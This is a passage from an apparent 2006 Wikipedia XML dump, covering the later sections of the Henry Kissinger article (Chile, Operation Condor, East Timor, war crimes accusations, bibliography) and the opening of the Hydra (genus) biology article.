Dr. Kissinger has since expressed his regret over the comments saying, &quot;I regret that these words were used. I have extremely high regard for Mrs. Gandhi as a statesman. This was somebody letting off steam at the end of a meeting in which both President Nixon and I were emphasizing that we had gone out of our way to treat Mrs. Gandhi very cordially.&quot; On Indo-American relations Kissinger has also added that &quot;I'm known as a strong advocate and one of the originators of close relations with China. I believe that today I am also a strong advocate of close relations with India.&quot; The newly released documents also show that Kissinger pushed for a Chinese military build up along the Indian border as the Americans feared an Indian invasion into West Pakistan. The American request for Chinese involvement in the war was, however, declined.
[http://www.atimes.com/atimes/South_Asia/GF23Df04.html][http://news.bbc.co.uk/2/hi/south_asia/4640773.stm]

===The 1973 Yom Kippur War===
In 1973, Kissinger negotiated the end to the [[Yom Kippur War]], which had begun with a surprise attack against [[Israel]] by [[Egypt]]ian and surrounding Arab armies during [[Yom Kippur]], the holiest [[Judaism|Jewish]] holiday. Though Israel regained the territory it had lost, Kissinger pressured the Israelis to [[cede]] land to the Arabs, contributing to the first phases of a lasting Israeli-Egyptian peace. The move saw a warming in U.S.-Egyptian relations, bitter since the '50s, as the country moved away from its former pro-Soviet stance and into a close partnership with the United States. The peace was finalized in 1978 when U.S. president [[Jimmy Carter]] mediated the [[Camp David Accords (1978)|Camp David Accords]], during which Israel returned the [[Sinai]] in exchange for an Egyptian agreement to recognize Israeli statehood and end hostility.

===Latin American policy===
Normal relations with Latin America were continued, and the United States continued to recognize and maintain relationships with [[Anti-communism|anti-communist]] and non-communist governments, democratic and authoritarian alike. [[John F. Kennedy]]'s [[Alliance for Progress]] was ended in 1973, the same year as [[Augusto Pinochet]]'s coup against [[Salvador Allende]] in [[Chile]]. 

==== Augusto Pinochet's September 11, 1973 coup ====
{{Main|Chilean coup of 1973}}

Chilean [[Socialist Party of Chile|Socialist]] presidential candidate [[Salvador Allende]] was elected by a narrow plurality in 1970, causing serious concern in [[Washington, D.C.|Washington]] due to his openly [[Marxism|Marxist]] and pro-[[Cuba]]n politics. While the Nixon administration initially considered authorizing the [[Central Intelligence Agency|CIA]] to organize a military coup that would prevent Allende's inauguration and presumably call new elections, the plan was aborted because the administration doubted any of the willing factions had a chance. [http://foia.state.gov/Reports/ChurchReport.asp] Kissingers involvement in or support for these plans are unknown.
U.S.-Chilean relations remained frosty during Salvador Allende's tenure; following the complete [[nationalization]] of the partially U.S.-owned copper mines and the Chilean subsidiary of the U.S.-based [[ITT]], as well as other Chilean businesses, the U.S. implemented partial economic sanctions, claiming that the Chilean government had greatly undervalued fair compensation for the nationalization by subtracting what it deemed &quot;excess profits.&quot; The CIA provided funding for the mass anti-government strikes in 1972 and 1973; during this period, Kissinger made several controversial statements regarding Chile's government, stating that &quot;the issues are much too important for the Chilean voters to be left to decide for themselves&quot; and &quot;I don't see why we need to stand by and watch a country go communist due to the irresponsibility of its people.&quot; [http://www.thirdworldtraveler.com/Kissinger/HKissinger.html] These remarks sparked outrage among many commentators, who considered them patronizing and disparaging of Chile's [[sovereignty]]. In September 1973, Allende committed suicide during a military coup launched by Army Commander-in-Chief [[Augusto Pinochet]], who became President. During a later visit to Chile, Kissinger told Pinochet that the U.S. was concerned about the junta's human rights violations but was sympathetic to its anti-communist stance. U.S.-Chilean relations significantly improved and remained warm until [[Democratic Party (United States)|Democratic]] challenger [[Jimmy Carter]] defeated President Gerald Ford in 1976 and implemented a tough stance against any state that violated human rights, regardless of its friendliness toward America.

==== Operation Condor ====
{{Main|Operation Condor}}

[[Kenneth Maxwell]]'s review of [[Peter Kornbluh]]'s book ''The Pinochet File: A Declassified Dossier on Atrocity and Accountability'', in ''[[Foreign Affairs]]'' November/December 2003, pinpointed Kissinger's influence in Operation Condor. Nearly ten nations of the American continent participated in the brutal campaign, while a 1978 cable released in 2000 under Chile declassification project showed that the South American intelligence chiefs involved in Condor &quot;[kept] in touch with one another through a U.S. communications installation in the Panama Canal Zone which [covered] all of Latin America&quot;. [[Robert E. White]], the U.S. ambassador to Paraguay, was concerned that the US connection to Condor might be revealed during the then ongoing investigation into the 1976 assassination of former minister of the ''[[Unidad Popular]]'' government [[Orlando Letelier]] in Washington D.C.  and his American colleague Ronni Moffitt.

==== U.S. - Cuban relations ====
{{main|Foreign relations of Cuba}}

Kissinger initially supported the normalization of U.S.-[[Cuba]]n relations, broken since 1961 (all US-Cuban trade was blocked in February 1962, a few weeks after the exclusion of Cuba from the [[Organisation of American States]] under US pressure). However, he quickly changed his mind and followed Kennedy's policy. After [[Fidel Castro]]'s involvement in the [[anticolonialism|anticolonialist]] struggle in [[Angola]] and [[Mozambique]], Kissinger supported the [[National Union for a Total Independence of Angola]] (UNITA), led by [[Jonas Savimbi]], the [[Mozambican National Resistance]] (RENAMO) insurgencies, as well as the CIA-supported advance of [[History of South Africa in the apartheid era|South Africa]]n troops in Angola. Kissinger made it clear that unless Cuba withdrew its forces from Angola and Mozambique relations would not be normalized. However, in 2005, it was revealed that Cuba had withdrawn from those countries under Soviet pressure.

==== Jorge Videla's Argentinian ''junta'' ====
{{main|Dirty War}}

Kissinger took a similar line that he had toward Chile when the [[Argentina|Argentine]] military, led by [[Jorge Rafael Videla|Jorge Videla]], toppled the government of [[Isabel Martínez de Perón|Isabel Perón]] in 1976 and consolidated power, launching brutal reprisals and &quot;[[forced disappearance|disappearances]]&quot; against political opponents. During a meeting with Argentine foreign minister [[César Augusto Guzzetti]], Kissinger assured him that the United States was an ally, but urged him to &quot;get back to normal procedures&quot; quickly before the U.S. Congress reconvened and had a chance to consider sanctions.

=== Africa ===
In 1974, a pacific left-wing coup, known as the [[Carnation Revolution]], took place in Portugal, chasing off [[Marcelo Caetano]], [[Oliveira Salazar]]'s succeeder; the new government proceeded to quickly give up its former colonies, leaving a power vacuum in the southern African states of [[Angola]] and [[Mozambique]]. Fidel Castro ordered Cuban troops into the two countries and successfully assisted the Marxist-Leninist [[Popular Movement for the Liberation of Angola]] (MPLA) and [[Mozambican Liberation Front]] (FRELIMO) guerrilla organizations in taking power. Cuban troops remained to support the two governments and protect them against the [[National Union for Total Independence of Angola]] (UNITA) and [[Mozambican National Resistance]] (RENAMO) insurgencies, as well as the CIA-supported advance of South African troops in Angola. Kissinger made it clear that unless Cuba withdrew its forces from Angola and Mozambique relations would not be normalized. However, in 2005 Cuba revealed that it had withdrawn its troops under Sovietic pressure. Following [[Gladio]]'s secret Nato &quot;stay-behind&quot; paramilitary organizations, it was also revealed that [[Eduardo Mondlane]], FRELIMO's head, had been assassinated in 1969 by ''Aginter Press'', the Portuguese branch of Gladio, supported by Kissinger.

===East Timor and support of Suharto ===
The Portuguese decolonization process that had brought the U.S.'s attention to the newly-independent Angola and Mozambique also brought American attention to the small but densely populated newly-independent former Portuguese colony of [[East Timor]] in the [[Indonesia]]n archipalego. Indonesian president [[Suharto]] was a strong American ally in the Pacific and began to mobilize the army, preparing to annex the nascent state, which had become increasingly dominated by the popular leftist and Chinese-supported [[Revolutionary Front for an Independent East Timor|FRETILIN]] party. In December 1975, Suharto discussed the invasion plans during a meeting with Kissinger and President Ford in the Indonesian capital of [[Jakarta]]. Both Ford and Kissinger made clear that U.S. relations with Indonesia would remain strong and that it would not object to the proposed annexation. U.S. arms sales to Indonesia continued, and Suharto went ahead with the annexation plan, meeting fierce resistance from the native East Timorese. The army responded with indiscriminate massacres; it is said that some 200,000 East Timorese lost their lives during the occupation due to starvation and army massacres. The Indonesian government's recognition of East Timor as the province of ''Timor Timur'' was not accepted internationally. Repression on the part of the military and its collaborators was especially intense during the initial invasion and following a [[United Nations|UN]]-supervised East Timorese vote for independence in March 1999. East Timor achieved independence in late 1999. The U.S. maintained friendly diplomatic ties with Suharto during the '90s, but with the end of the [[Cold War]] felt more free to criticize the regime for its actions in East Timor.

==Personality and public perception==
Kissinger, like the rest of the Nixon administration, faced extreme unpopularity with the anti-war Left, particularly after the secret U.S. bombing of Cambodia was revealed. However, few doubted his intellect and diplomatic skill, and he became one of the better-liked members of the Nixon administration, which many Americans grew to view as cynical and self-serving. Kissinger was not connected with the [[Watergate scandal]] that would eventually ruin Nixon and many of his closest aides; this greatly increased Kissinger's reputation as he became known as the &quot;clean man&quot; of the bunch. At the height of his popularity he was even regarded as something of a [[sex symbol]] and seen dating such starlets as [[Jill St. John]], [[Shirley MacLaine]], and [[Candice Bergen]]. There was even discussion of ending the requirement that a U.S. president be born in America so that Kissinger could have a chance to run.

[[Image:Henry Kissinger.png|frame|Kissinger is updated on the latest situation in [[South Vietnam]] on [[April 29]], [[1975]], one day before its government falls.]]

Kissinger left office when former Democratic [[Georgia (U.S. state)|Georgia]]n governor and &quot;Washington outsider&quot; Jimmy Carter defeated Gerald Ford in the 1976 presidential elections. Carter was defeated by [[Republican Party (United States)|Republican]] presidential candidate [[Ronald Reagan]] in 1980, but in the '80s and early '90s Kissinger played a relatively minor role in the U.S. government, because the [[neoconservatism|neoconservatives]], who had come to dominate the Republican Party and the [[Reagan administration]] from 1981 to 1989, considered ''détente'' to be a policy of accommodation for the Soviet Union. Kissinger continued to participate in policy groups such as the [[Trilateral Commission]] and to do political consulting, speaking, and writing. He would often appear as a foreign-policy commentator on American broadcast networks.

In 2002, [[President of the United States|President]] [[George W. Bush]] appointed Kissinger to chair a  committee to investigate the events of the [[September 11, 2001 Terrorist Attack|September 11 attacks]]. This led to criticism from Congressional Democrats who accused Kissinger of being secretive and not supportive of the public's right to know. Leading Democrats insisted that Kissinger file financial disclosures to reveal any conflicts of interest. Both Bush and Kissinger claimed that Kissinger did not need to file such forms, since he would not be receiving a salary. However, following continual Democratic pressure, Kissinger cited conflicts of interest with his clients and stepped down as chairman on [[December 13]], [[2002]].

In 2005, Kissinger offered a public apology for using foul language in 1971 to describe [[India]]n [[Prime Minister of India|prime minister]] [[Indira Gandhi]] and Indians in general. Declassified transcripts show that Kissinger had disparaged the independence movement in East Pakistan, predicting that an independent [[Bangladesh]] would become a failed [[third world]] country. The comments underscored U.S. hostility toward [[India]], supportive of the Bengali guerrillas and backed by the Soviet Union. The [[Pakistan]]i Army violently suppressed the independence movement in the East, causing an influx of Bengali refugees into India and exacerbating longstanding Indo-Pakistani tensions. Pakistani forces were eventually forced to withdraw and an independent Bangladesh was established in East Pakistan's place. Despite international condemnation of the conduct of Pakistani forces during the conflict, U.S.-Pakistani relations remained strong based both on concerns of growing Indo-Soviet hegemony in the region and Pakistan's status as an ally of China. (see [[Bangladesh Liberation War]] and [[Indo-Pakistani War of 1971]])

==Accusations of war crimes and legal difficulties==
=== ''The Trial of Henry Kissinger'' ===
A revival of interest in Henry Kissinger came during the new millennium, when journalist [[Christopher Hitchens]] wrote ''[[The Trial of Henry Kissinger]]'', a scathing critique of Kissinger's policy that accused him of war crimes, particularly for his policy toward Vietnam and Cambodia. Kissinger became a focal point of criticism from the political Left and certain [[human rights]] [[non-governmental organizations|NGO]]s. The ''Trial of Henry Kissinger'' was later adapted into a documentary that predominantly featured Hitchens as narrator.

=== Gladio, or NATO's secret &quot;stay-behind&quot; paramilitary organizations ===
{{main|Operation Gladio}}

After World War II, the [[MI6]] and the [[CIA]] organized secret &quot;[[stay-behind]]&quot; anticommunist paramilitary organizations, originally to counter an eventual invasion by the Soviet Union. However, those anticommunist networks, dubbed Gladio, which were connected to [[ODESSA]]'s ratlines through the [[Gehlen organization]], have been involved in various terrorist acts: during Italy's [[strategy of tension]], in Turkey with the support of the ultra-nationalist [[Grey Wolves]] and various military coups, in Greece helping the [[Greek military junta of 1967-1974|&quot;Regime of Colonels&quot;]] take the power in 1967, in Spain during the 1976 [[Montejurra]] terrorist incident, and also in Argentina, during the June 20, 1973 Ezeiza massacre, when the [[Alianza Anticomunista Argentina]] shot on the mass of left-wing [[peronists]]. Gladio's existence, which was closely linked to [[Propaganda Due]], a masonic lodge also known as &quot;P2&quot;, was officially disclosed by Prime minister [[Giulio Andreotti]] in 1990. According to a November 18, 1990 article by ''[[The Observer]]'', quoted by [[Statewatch]]:

:&quot;Declassified secret service papers reveal that Ted Shackleton, deputy chief of the CIA station in Rome in the 1970’s introduced the notorious [[Licio Gelli]] – head of the neofascist [[Propaganda Due|P2 masonic lodge]] and for years a fugitive in Argentina – to General [[Alexander Haig]], then Nixon's chief of staff, and later, from 1974 to 1979, [[SACEUR|NATO Supreme Commander]]. P2 was a right-wing shadow government, ready to take over Italy, that included four Cabinet Ministers, all three intelligence chiefs, 48 members of parliament, 160 military officers, bankers, industrialists, top dipomats and the Army Chief of Staff. After meetings between Gelli, Italian military brass and CIA men in the embassy, Gladio was given renewed blessing – and more money – by Haig and the then head of the National Security Council, Henry Kissinger. Just how those and later funds were spent is a key point in the [Casson] investigations.&quot; [http://www.poptel.org.uk/cgi-bin/dbs2/statewatch?query=Gladio&amp;mode=records&amp;row_id=7255].

=== Involvement in Operation Condor ===
{{main|Operation Condor}}

On May 31, 2001, French judge [[Roger Le Loire]] requested a summons served on Kissinger while he was staying at the Ritz Hotel in [[Paris]]. Loire claimed to want to question Kissinger for alleged U.S. involvement in [[Operation Condor]] as well as the death of French nationals under the Chilean junta. As a result, Kissinger left Paris that evening, and Loire's inquiries were directed to the U.S. State Department.

In July 2001, the Chilean high court granted investigating judge [[Juan Guzman]] the right to question Kissinger about the 1973 killing of American journalist [[Charles Horman]], whose execution at the hands of the Chilean military following the coup was dramatized in the 1982 [[Costa-Gavras]] film, ''[[Missing (movie)|Missing]]''. The judge’s questions were relayed to Kissinger via diplomatic routes but went unanswered.

In August 2001, Argentine Judge Rodolfo Canicoba sent a letter rogatory to the US State Department, in accordance with the [[Mutual Legal Assistance Treaty]] (MLAT), requesting a deposition by Kissinger to aid the judge's investigation of Operation Condor.
[http://hrw.org/wr2k2/americas1.html]

On September 10, 2001, a civil suit was filed in a Washington, D.C., federal court by the family of Gen. [[René Schneider]], former Commander-in-Chief of the Chilean Army, asserting that Kissinger gave the order for the elimination of Schneider because he refused to endorse plans for a military coup. Schneider was killed by coup-plotters loyal to General [[Roberto Viaux]] in a botched kidnapping attempt, but U.S. involvement with the plot is disputed, as declassified transcripts show that Nixon and Kissinger had ordered the coup &quot;turned off&quot; a week prior to the killing, fearing that Viaux had no chance. As a part of the suit, Schneider’s two sons are attempting to sue Kissinger and then-CIA director [[Richard Helms]] for $3 million.

On September 11, 2001, the 28th anniversary of the Pinochet coup, Chilean human rights lawyers filed a criminal case against Kissinger along with [[Augusto Pinochet]], former Bolivian general and president [[Hugo Banzer]], former Argentine general and dictator [[Jorge Rafael Videla]], and former Paraguayan president [[Alfredo Stroessner]] for alleged involvement in Operation Condor. The case was brought on behalf of some fifteen victims of Operation Condor, ten of whom were Chilean.

In late 2001, the [[Brazil]]ian government canceled an invitation for Kissinger to speak in [[São Paulo]] because it could no longer guarantee his immunity from judicial action.

[[Kenneth Maxwell]]'s review, in ''[[Foreign Affairs]]'' November/December 2003, of [[Peter Kornbluh]]'s book ''The Pinochet File: A Declassified Dossier on Atrocity and Accountability'', discussed Kissinger's relationship with [[Augusto Pinochet]]'s regime, in particular concerning operation Condor and [[Orlando Letelier]]'s assassination, in Washington, D.C., in 1976. 

=== Asia ===
In 2002, during a brief visit to the UK, a petition for Kissinger's arrest was filed by the High Court in London based on Indochinese civilian casualties and environmental damage resulting from U.S. bombing campaigns in North Vietnam and Cambodia in the period between 1969 and 1975. Simultaneously, Spanish judge [[Baltasar Garzón]], who had engaged in a failed attempt to get Pinochet extradited from the [[United Kingdom]] for questioning, requested that [[Interpol]] detain Kissinger for questioning. British authorities refused his request.

East Timor Action Network (ETAN) activists have repeatedly sought to question Kissinger during his book tours for his role in the Ford administration in supporting Suharto and the Indonesian occupation and genocide of the Timorese in 1975. Transcripts of Ford and Kissinger's greenlight for the invasion are available on the National Security Archive. [http://www.gwu.edu/~nsarchiv/NSAEBB/NSAEBB62/]

In 2005, the [[State Department]] released tapes of conversations between [[Nixon]] and [[Kissinger]] which indicated Kissinger had knowledge of the 1971 [[1971 Bangladesh massacres|Bangladesh massacres]], and that he strove to keep it out of the media and keep [[India]] from intervening. The Nixon administration considered it more important to support [[Pakistan]] during the crisis, because it was a [[SEATO]] and [[CENTO]] ally, against non-aligned India.

==Business interests and public service==
Kissinger owns a consulting firm, [[Kissinger and Associates]], and is a partner in [[Kissinger McLarty Associates]] with [[Mack McLarty]], former [[White House Chief of Staff|Chief of Staff]] to President [[Bill Clinton]]. He also serves on various [[board of directors|boards of directors]], including [[Hollinger International]], a [[Chicago]]-based newspaper group. 

In 1998, Kissinger became an honorary citizen of [[Fürth]], Germany, his hometown. He has been a life-long supporter of the ''Spielvereinigung Fürth'' football club. 

He served as Chancellor of the [[College of William and Mary]] from [[February 10]], [[2001]] to the Summer of 2005.

From 1995 to 2001 he served on the board of directors for [[Freeport-McMoRan]], a [[multinational corporation|multinational]] copper and gold producer with significant mining and milling operations in [[Papua (Indonesian province)|Papua]], Indonesia. In February 2000 then-president of Indonesia [[Abudrrahman Wahid]] appointed Kissinger as a political advisor. He also serves as an honorary advisor to the United States-[[Azerbaijan]] [[Chamber of commerce|Chamber of Commerce]].

==See also==
*''[[Détente]]''
* [[Operation Condor]]
* [[Operation Gladio]]
* [[Realpolitik]]
* [[Realism in international relations]]
* [[Vietnam War]]
* [[Yom Kippur War]]

==Bibliography==
*'''Foreign policy'''
**''Rescuing the World: The Life and Times of Leo Cherne'' by Andrew F. Smith, Henry A. Kissinger (2002) ISBN 0791453790
** [[Does America Need a Foreign Policy?: Toward a Diplomacy for the 21st Century (2001)]] ISBN 0684855674
** [[Diplomacy (Kissinger)]] (1994) ISBN 067165991X
**''On Men and Power: A Political Memoir'' by Helmut Schmidt, Henry Kissinger (1990) ISBN 0224027158
**''Observations: Selected Speeches and Essays 1982-1984'' (1985) ISBN 0316496642
**''For the Record: Selected Statements 1977-1980'' (1981) ISBN 0316496634
**''American Foreign Policy: Three Essays'' (1974) ISBN 0393055256
**''[[A World Restored]]: Metternich, Castlereagh and the Problems of Peace, 1812-22'' (1973) ISBN 0395172292
**''The Troubled Partnership: A Re-Appraisal of the Atlantic Alliance''(1965) ISBN 0070348952
**''The Necessity for Choice: Prospects of American Foreign Policy'' (1961) ISBN 0060124105
**''Nuclear Weapons and Foreign Policy'' (1957)

*'''Memoirs'''
**''Crisis: The Anatomy of Two Major Foreign Policy Crises: Based on the Record of Henry Kissinger's Hitherto Secret Telephone Conversations'' (2003) ISBN 0743249100
**''Vietnam: A Personal History of America's Involvement in and Extrication from the Vietnam War'' (2002) ISBN 0743219163
**''Kissinger Transcripts: The Top Secret Talks With Beijing and Moscow'' by Henry Kissinger, William Burr (1999) ISBN 1565844807
**''Years of Renewal'' (1999) ISBN 0684855712
**''Years of Upheaval'' (1982) ISBN 0316285919
**''The White House Years'' (1979) ISBN 0316496618

*'''Biographies'''
**''The Flawed Architect: Henry Kissinger and American Foreign Policy'' by Jussi M. Hanhimaki (2004) ISBN 0195172213
**''Kissinger: A Biography'' by Walter Isaacson (1992) ISBN 0671663232
**''The Nixon-Kissinger Years: Reshaping of America's Foreign Policy'' by Richard C. Thornton (1989) ISBN 0887020518
**''The Price of Power: Kissinger in the Nixon White House'' by [[Seymour Hersh]] (1983) ISBN 0671447602
**''Kissinger'' by Marvin L. Kalb, Bernard Kalb (1974) ISBN 0316482218
**''Kissinger on the Couch'' by Phyllis Schlafly (1974) ISBN 0870002163
**''Kissinger: Portrait of a Mind'' by Stephen Richards Graubard (1973) ISBN 0393054810
===Historiography===
* Jussi M. Hanhimäki, &quot;'Dr. Kissinger' or 'Mr. Henry'? Kissingerology, Thirty Years and Counting,&quot;  ''Diplomatic History'' November 2003 - Vol. 27 Issue 5 pp 637-76

==External links==
{{wikiquote}}
&lt;!-- official and semi-official biographical --&gt;
* [http://www.nobel.se/peace/laureates/1973/kissinger-bio.html Nobel Prize: Biography of Henry Kissinger]
&lt;!--Kissinger speaks/writes--&gt;
* [http://www.npr.org/programs/npc/2002/020305.hkissinger.html NPR: Kissinger Speech at National Press Club]. Towards the end [55:55], he responds to Hitchens.
&lt;!-- anti-Kissinger, by elected U.S. officials or international agencies--&gt;
* [http://www.fas.org/irp/congress/1992_rpt/bcci/20kiss.htm The BCCI Affair] A Report to the Committee on Foreign Relations, United States Senate, by Senator [[John Kerry]] and Senator [[Hank Brown]], December 1992 102d Congress 2d Session Senate Print 102-140.
* [http://www.fas.org/spp/starwars/congress/1991/h910502g.htm Kissinger Associates, BNL, and Iraq]  [[Henry B. Gonzalez]] speech in Congress, May 2, 1991.
&lt;!-- anti-Kissinger, but solidly documentary --&gt;
* [http://www.gwu.edu/%7Ensarchiv/NSAEBB/NSAEBB123/dobrynin.htm The National Security Archive: The Kissinger Telcons]
* [http://www.gwu.edu/~nsarchiv/NSAEBB/NSAEBB79/ The National Security Archive:The U.S. and the South Asian Crisis of 1971]
* [http://www.newsmeat.com/washington_political_donations/Henry_Kissinger.php Kissinger's political donations]
&lt;!-- anti-Kissinger, from established press sources --&gt;
* Marcus Gee. [http://www.commondreams.org/views02/0611-03.htm Is Henry Kissinger a War Criminal?], ''[[Toronto Globe &amp; Mail]]'', June 11, 2002.
* [http://www.laweekly.com/ink/01/23/wls-goldin.php Henry: Portrait of a Serial Kissinger] &amp;ndash; ''[[LA Weekly]]'' article on [[Christopher Hitchens|Hitchens]]'s ''The Trial of Henry Kissinger''
&lt;!-- anti-Kissinger film --&gt;
* Official site of the film [http://www.thetrialsofhenrykissinger.com/trials.html ''The Trials of Henry Kissinger''] ([[Macromedia Flash|Flash]]) 
&lt;!-- Other anti-Kissinger --&gt;
* [http://etan.org/news/kissinger/default.htm Kissinger-related material] on the site of [[East Timor Action Network]]
* [http://www.thirdworldtraveler.com/Kissinger/HKissinger.html Henry Kissinger page] on www.thirdworldtraveler.com. Extensive anti-Kissinger link collection

{{start box}}
{{succession box
| before = [[Walt Rostow]]
| title = [[United States National Security Advisor]]
| years = 1969&amp;mdash;1974
| after = [[Brent Scowcroft]]}}
{{succession box
| before = [[William P. Rogers]]
| title = [[United States Secretary of State]]
| years = 1973&amp;mdash;1977
| after = [[Cyrus Vance]]}}
{{succession box
| title = [[List of Nobel laureates#Peace|Nobel Peace Prize winner]]
| before = [[Willy Brandt]] &lt;br&gt; (1971)
| after = [[Sean MacBride]] &lt;br&gt; [[Eisaku Sato]]
| years =1973}}
{{end box}}
{{USSecState}}

[[Category:1923 births|Kissinger, Henry A.]]
[[Category:Living people|Kissinger, Henry A.]]
[[Category:American diplomats|Kissinger, Henry]]
[[Category:American World War II veterans|Kissinger, Henry]]
[[Category:Cold War|Kissinger, Henry]]
[[Category:Council on Foreign Relations member|Kissinger, Henry]]
[[Category:Foreign relations of the United States|Kissinger, Henry]]
[[Category:Foreign-born US political figures|Kissinger, Henry]]
[[Category:Geopoliticians|Kissinger, Henry]]
[[Category:Gladio|Kissinger]]
[[Category:History of anti-communism in the United States|Kissinger, Henry]]
[[Category:History of Chile|Kissinger, Henry]]
[[Category:History of foreign relations of the United States|Kissinger, Henry]]
[[Category:History of South America|Kissinger, Henry]]
[[Category:Jewish-American politicians|Kissinger, Henry]]
[[Category:Naturalized citizens of the United States|Kissinger, Henry]]
[[Category:Nobel Peace Prize winners|Kissinger, Henry]]
[[Category:Operation Condor|Kissinger]]
[[Category:Presidential Medal of Freedom recipients|Kissinger, Henry]]
[[Category:Refugees|Kissinger, Henry]]
[[Category:United States National Security Advisors|Kissinger, Henry]]
[[Category:United States Secretaries of State|Kissinger, Henry]]
[[Category:Vietnam War people|Kissinger, Henry]]
[[Category:Watergate figures|Kissinger, Henry]]

[[da:Henry Kissinger]]
[[de:Henry Kissinger]]
[[es:Henry A. Kissinger]]
[[fr:Henry Kissinger]]
[[ko:헨리 키신저]]
[[io:Henry Kissinger]]
[[it:Henry Kissinger]]
[[he:הנרי קיסינג'ר]]
[[lt:Henris Kisindžeris]]
[[nl:Henry Kissinger]]
[[ja:ヘンリー・キッシンジャー]]
[[no:Henry Kissinger]]
[[pl:Henry Kissinger]]
[[pt:Henry A. Kissinger]]
[[ro:Henry Kissinger]]
[[sr:Хенри Кисинџер]]
[[fi:Henry Kissinger]]
[[sv:Henry Kissinger]]
[[uk:Кіссенджер Генрі]]
[[zh:亨利·基辛格]]</text>
    </revision>
  </page>
  <page>
    <title>Hydra (genus)</title>
    <id>13767</id>
    <revision>
      <id>41952617</id>
      <timestamp>2006-03-02T21:17:55Z</timestamp>
      <contributor>
        <username>Master Jay</username>
        <id>526659</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/66.212.196.145|66.212.196.145]] to last version by Cosmicosmo</comment>
      <text xml:space="preserve">&lt;!-- To edit this article, scroll down past the taxobox stuff --&gt;
{{Taxobox
| color = pink
| name = ''Hydra''
| image = Hydra.jpg
| image_width = 250px
| image_caption = 
| regnum = [[Animal]]ia
| subregnum = [[Metazoa]]
| phylum = [[Cnidaria]]
| classis = [[Hydrozoa]]
| ordo = [[Hydroida]]
| familia = [[Hydridae]]
| genus = '''''Hydra'''''
| genus_authority = [[Carolus Linnaeus|Linnaeus]], 1758
| subdivision_ranks = [[Species]]
| subdivision = ''[[Hydra americana]]''&lt;br/&gt;
''[[Hydra attenuata]]''&lt;br/&gt;
''[[Hydra canadensis]]''&lt;br/&gt;
''[[Hydra carnea]]''&lt;br/&gt;
''[[Hydra cauliculata]]''&lt;br/&gt;
''[[Hydra circumcincta]]''&lt;br/&gt;
''[[Hydra hymanae]]''&lt;br/&gt;
''[[Hydra littoralis]]''&lt;br/&gt;
''[[Hydra magnipapillata]]''&lt;br/&gt;
''[[Hydra minima]]''&lt;br/&gt;
''[[Hydra oligactis]]''&lt;br/&gt;
''[[Hydra oregona]]''&lt;br/&gt;
''[[Hydra pseudoligactis]]''&lt;br/&gt;
''[[Hydra rutgerensis]]''&lt;br/&gt;
''[[Hydra utahensis]]''&lt;br/&gt;
''[[Hydra viridis]]''
}}

'''''Hydra''''' is a [[genus]] of simple, fresh-water animals possessing [[symmetry (biology)#Radial symmetry|radial symmetry]]. It is a member of the phylum [[Cnidaria]] and the class [[Hydrozoa]].

Hydras are beautiful low power [[microscope|microscopical]] objects and are often studied by biologists. They can be found in most un-polluted freshwater ponds, lakes and streams in the temperate and tropical regions by gently sweeping a collecting net through weedy areas.

==Form==
Hydras are small animals with a body length ranging from [[1 E-3 m|1 mm]] to 20 mm when fully extended. They have a tubular body secured by a simple adhesive foot. At the free end of the body is a mouth opening surrounded by a ring of 5 to 12 thin mobile [[tentacles]]. Each tentacle is clothed with highly specialised stinging cells called [[cnidocytes]]. Cnidocytes contain specialized structures called nematocysts which look like miniature light bulbs with a coiled thread inside. At the narrow, outer edge of the cnidocyte is a short trigger hair. Upon contact with prey, the contents of the nematocyst are explosively discharged, firing a dart-like thread containing neurotoxins into whatever triggered the release.

Hydra mainly feed on small aquatic invertebrates such as [[Daphnia]]. Some species of hydra exist in a [[symbiosis|symbiotic relationship]] with a type of [[green algae]]. The hydra offers the algae protection from predators and in return, the algae uses [[photosynthesis]] to give the hydra a food source.

==Morphology==

Hydras have two main body layers separated by [[mesoglea]], a gel-like substance. The outer layer is the [[epidermis]] and the inner layer is called the [[gastrodermis]]. The cells making up these two body layers are relatively simple.

The nervous system of Hydra is a [[nerve net]], which is simple compared to [[mammal]]ian nervous systems. They do not have a recognisable [[brain]]. Nerve nets connect sensory [[photoreceptor|photoreceptors]] and touch sensitive nerve cells that are found in the body wall and tentacles of hydras.

Respiration occurs by [[diffusion]] through the epidermis. Some excretion and transportation also occurs in this manner.

Many members of the [[Hydrozoa]] go through a body change from a [[polyp]] to an adult form called [[Medusa (biology)|medusa]]. However all Hydras remain as a polyp throughout their lives.

19th century biologists reported that Hydra was so simple an animal that it was possible to force an animal through gauze so as to separate it into individual cells and then, if the cells were left to themselves, they would regroup to form a hydra again.  This experiment has never been repeated successfully in the 20th or 21st centuries - all that is produced is Hydra soup.  A similar experiment with some sponges may be more successful.

==Motion and locomotion==
If Hydras are alarmed or attacked, the tentacles can be retracted to small buds and the body column itself can be retracted to a small gelatinous sphere. Due to the simplicity of the nerve net, hydras generally react in the same way, regardless of the direction of the stimulus.

Hydras are generally [[sedentary]], but they do move quite readily. They do this by bending over and attaching themselves to the [[substrate]] with their mouth and tentacles and then release their foot which provides the normal attachment. The body then bends over and makes a new place of attachment with the foot. By this process of &quot;somersaulting&quot;, a hydra can move several inches (c. 100 mm) in a day.  Hydra may also move by [[amoeboid]] motion of their base, or by simply detaching from the substrate and floating in the current.

==Reproduction==
When food is plentiful, many Hydras reproduce [[asexual reproduction|asexually]] by producing [[budding|buds]] in the body wall which grow to be miniature adults and simply break away when they are mature. When conditions are harsh, often before a cold winter, [[sexual reproduction]] occurs in some hydra, producing unfertilized eggs. These eggs are then fertilized by sperm from testes which form on the external surface of the stalk. The fertilized eggs secrete a tough outer coating and, as the adult dies, this resting eggs falls to the bottom of the lake or pond to await better conditions when it will hatch once again into a miniature adult.

==Feeding==
When feeding, Hydras extend their body to maximum length and then slowly extend their tentacles. Despite their simple construction, the tentacles of hydra are extraordinarily extensible and can be 4 - 5 times the length of the body. Once fully extended, the tentacles are slowly manoeuvred around waiting for a suitable prey animal to touch a tentacle. Once contact has been made, nematocysts on the tentacle fire into the prey and the tentacle itself coils around the prey. Within 30 seconds, most of the remaining tentacles have already joined in the attack to subdue the struggling prey. Within 2 minutes, the tentacles will surround the prey and move it into the opened mouth aperture. Within 10 minutes, the prey will be enclosed within the gastrovascular cavity and digestion will have started. The hydra is able to stretch its body wall considerably in order to digest prey more than twice its size. After two or three days, the undigestible remains of the prey will be discharged by muscular contraction through the mouth aperture. 

The feeding behaviour of the Hydra demonstrates the sophistication of what appears to be a simple nervous system.

==Morphallaxis==
The hydra undergoes [[morphallaxis]] when injured or severed (see the morphallaxis article for more details).

